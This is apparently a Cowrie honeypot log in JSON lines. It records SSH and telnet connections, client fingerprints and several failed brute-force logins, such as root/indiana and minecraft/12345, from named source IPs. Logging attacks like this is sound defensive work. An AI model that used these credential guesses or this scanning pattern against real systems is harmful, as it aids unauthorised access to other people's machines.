{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":35726,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5b3e6729956","protocol":"ssh","message":"New connection: 94.159.98.239:35726 (10.17.0.5:22) [session: f5b3e6729956]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:22:51.929409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:22:51.988615Z","src_ip":"94.159.98.239","session":"f5b3e6729956","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:22:52.104836Z","src_ip":"94.159.98.239","session":"f5b3e6729956","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"indiana","message":"login attempt [root/indiana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:22:52.769851Z","src_ip":"94.159.98.239","session":"f5b3e6729956","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:22:53.946919Z","src_ip":"94.159.98.239","session":"f5b3e6729956","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":50464,"dst_ip":"159.203.135.109","dst_port":23,"session":"126a7a07d141","protocol":"telnet","message":"New connection: 135.148.14.151:50464 (159.203.135.109:23) [session: 126a7a07d141]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:22:54.124061Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.227.125.15","src_port":47254,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0e12c295e29","protocol":"ssh","message":"New connection: 212.227.125.15:47254 (159.203.135.109:22) [session: c0e12c295e29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:22:55.209904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:22:55.214700Z","src_ip":"212.227.125.15","session":"c0e12c295e29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:22:55.294784Z","src_ip":"212.227.125.15","session":"c0e12c295e29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"12345","message":"login attempt [minecraft/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:22:55.645564Z","src_ip":"212.227.125.15","session":"c0e12c295e29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:22:56.730175Z","src_ip":"212.227.125.15","session":"c0e12c295e29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.91442823410034,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:23:29.038354Z","src_ip":"135.148.14.151","session":"126a7a07d141","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":39360,"dst_ip":"159.203.135.109","dst_port":23,"session":"402d37a8bd3b","protocol":"telnet","message":"New connection: 135.148.14.151:39360 (159.203.135.109:23) [session: 402d37a8bd3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:23:32.355557Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":45542,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f53a716cec3","protocol":"telnet","message":"New connection: 135.148.14.151:45542 (159.203.135.109:23) [session: 4f53a716cec3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:23:43.013827Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":33604,"dst_ip":"159.203.135.109","dst_port":22,"session":"93a6483604de","protocol":"ssh","message":"New connection: 103.27.238.114:33604 (159.203.135.109:22) [session: 93a6483604de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:23:44.134087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:23:44.140530Z","src_ip":"103.27.238.114","session":"93a6483604de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:23:44.420322Z","src_ip":"103.27.238.114","session":"93a6483604de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"adilet","message":"login attempt [root/adilet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:23:45.250853Z","src_ip":"103.27.238.114","session":"93a6483604de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:23:46.531140Z","src_ip":"103.27.238.114","session":"93a6483604de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.51299333572388,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:24:04.868239Z","src_ip":"135.148.14.151","session":"402d37a8bd3b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.02455258369446,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:24:20.038250Z","src_ip":"135.148.14.151","session":"4f53a716cec3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":42340,"dst_ip":"159.203.135.109","dst_port":23,"session":"d33f083b5284","protocol":"telnet","message":"New connection: 135.148.14.151:42340 (159.203.135.109:23) [session: d33f083b5284]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:24:37.888669Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":46410,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6adbdb9c76c","protocol":"telnet","message":"New connection: 135.148.14.151:46410 (159.203.135.109:23) [session: e6adbdb9c76c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:24:46.834342Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":37882,"dst_ip":"159.203.135.109","dst_port":23,"session":"18b71cd7b9a1","protocol":"telnet","message":"New connection: 135.148.14.151:37882 (159.203.135.109:23) [session: 18b71cd7b9a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:24:46.924352Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":47472,"dst_ip":"159.203.135.109","dst_port":23,"session":"74c0a0914263","protocol":"telnet","message":"New connection: 135.148.14.151:47472 (159.203.135.109:23) [session: 74c0a0914263]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:24:50.080733Z"}
{"eventid":"cowrie.session.connect","src_ip":"132.148.30.167","src_port":36004,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ffa9fabee2a","protocol":"telnet","message":"New connection: 132.148.30.167:36004 (159.203.135.109:23) [session: 6ffa9fabee2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:24:59.326604Z"}
{"eventid":"cowrie.session.closed","duration":27.137185096740723,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:25:14.061403Z","src_ip":"135.148.14.151","session":"18b71cd7b9a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.93946647644043,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:25:14.828048Z","src_ip":"135.148.14.151","session":"d33f083b5284","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.53496479988098,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:25:25.369183Z","src_ip":"135.148.14.151","session":"e6adbdb9c76c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.255932331085205,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:25:27.336536Z","src_ip":"135.148.14.151","session":"74c0a0914263","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.40919327735901,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:25:30.735716Z","src_ip":"132.148.30.167","session":"6ffa9fabee2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":42604,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d1b428d9610","protocol":"telnet","message":"New connection: 135.148.14.151:42604 (159.203.135.109:23) [session: 1d1b428d9610]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:25:41.513397Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":48784,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a615e58399b","protocol":"telnet","message":"New connection: 135.148.14.151:48784 (159.203.135.109:23) [session: 6a615e58399b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:25:55.772367Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":51626,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7caaef3205d","protocol":"telnet","message":"New connection: 135.148.14.151:51626 (159.203.135.109:23) [session: f7caaef3205d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:26:02.064748Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.66.209","src_port":46035,"dst_ip":"10.17.0.5","dst_port":23,"session":"2cef5ddf2bf1","protocol":"telnet","message":"New connection: 192.119.66.209:46035 (10.17.0.5:23) [session: 2cef5ddf2bf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:26:04.741283Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":55502,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9000e558cdb","protocol":"telnet","message":"New connection: 135.148.14.151:55502 (159.203.135.109:23) [session: d9000e558cdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:26:11.747776Z"}
{"eventid":"cowrie.session.closed","duration":34.686665058135986,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:26:16.199950Z","src_ip":"135.148.14.151","session":"1d1b428d9610","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"125.121.48.12","src_port":34106,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb3ea6085cff","protocol":"telnet","message":"New connection: 125.121.48.12:34106 (10.17.0.5:23) [session: cb3ea6085cff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:26:24.829551Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.65.194.132","src_port":34240,"dst_ip":"10.17.0.5","dst_port":22,"session":"af512a436a82","protocol":"ssh","message":"New connection: 20.65.194.132:34240 (10.17.0.5:22) [session: af512a436a82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:26:31.266671Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:26:31.271140Z","src_ip":"20.65.194.132","session":"af512a436a82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:26:31.313523Z","src_ip":"20.65.194.132","session":"af512a436a82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.65.194.132","src_port":34252,"dst_ip":"10.17.0.5","dst_port":22,"session":"aeb4fe4cd0f4","protocol":"ssh","message":"New connection: 20.65.194.132:34252 (10.17.0.5:22) [session: aeb4fe4cd0f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:26:31.415761Z"}
{"eventid":"cowrie.client.version","version":"MGLNDD_134.199.244.163_22","message":"Remote SSH version: MGLNDD_134.199.244.163_22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:26:31.420911Z","src_ip":"20.65.194.132","session":"aeb4fe4cd0f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:26:31.432361Z","src_ip":"20.65.194.132","session":"aeb4fe4cd0f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.671226263046265,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:26:32.443489Z","src_ip":"135.148.14.151","session":"6a615e58399b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.7842059135437,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:26:36.525359Z","src_ip":"192.119.66.209","session":"2cef5ddf2bf1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.304635047912598,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:26:37.134072Z","src_ip":"125.121.48.12","session":"cb3ea6085cff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.23765778541565,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:26:37.302255Z","src_ip":"135.148.14.151","session":"f7caaef3205d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:26:41.267886Z","src_ip":"20.65.194.132","session":"af512a436a82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.595980405807495,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:26:51.343628Z","src_ip":"135.148.14.151","session":"d9000e558cdb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":39780,"dst_ip":"10.17.0.5","dst_port":22,"session":"df36026fdb8c","protocol":"ssh","message":"New connection: 103.172.78.219:39780 (10.17.0.5:22) [session: df36026fdb8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:26:59.253054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:26:59.257561Z","src_ip":"103.172.78.219","session":"df36026fdb8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:26:59.510296Z","src_ip":"103.172.78.219","session":"df36026fdb8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ronnie123","message":"login attempt [root/ronnie123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:27:00.271359Z","src_ip":"103.172.78.219","session":"df36026fdb8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:27:01.532493Z","src_ip":"103.172.78.219","session":"df36026fdb8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":50094,"dst_ip":"159.203.135.109","dst_port":23,"session":"55ff8ff4ef71","protocol":"telnet","message":"New connection: 135.148.14.151:50094 (159.203.135.109:23) [session: 55ff8ff4ef71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:27:02.665754Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":50572,"dst_ip":"159.203.135.109","dst_port":23,"session":"68bfc10c7fdf","protocol":"telnet","message":"New connection: 135.148.14.151:50572 (159.203.135.109:23) [session: 68bfc10c7fdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:27:05.680378Z"}
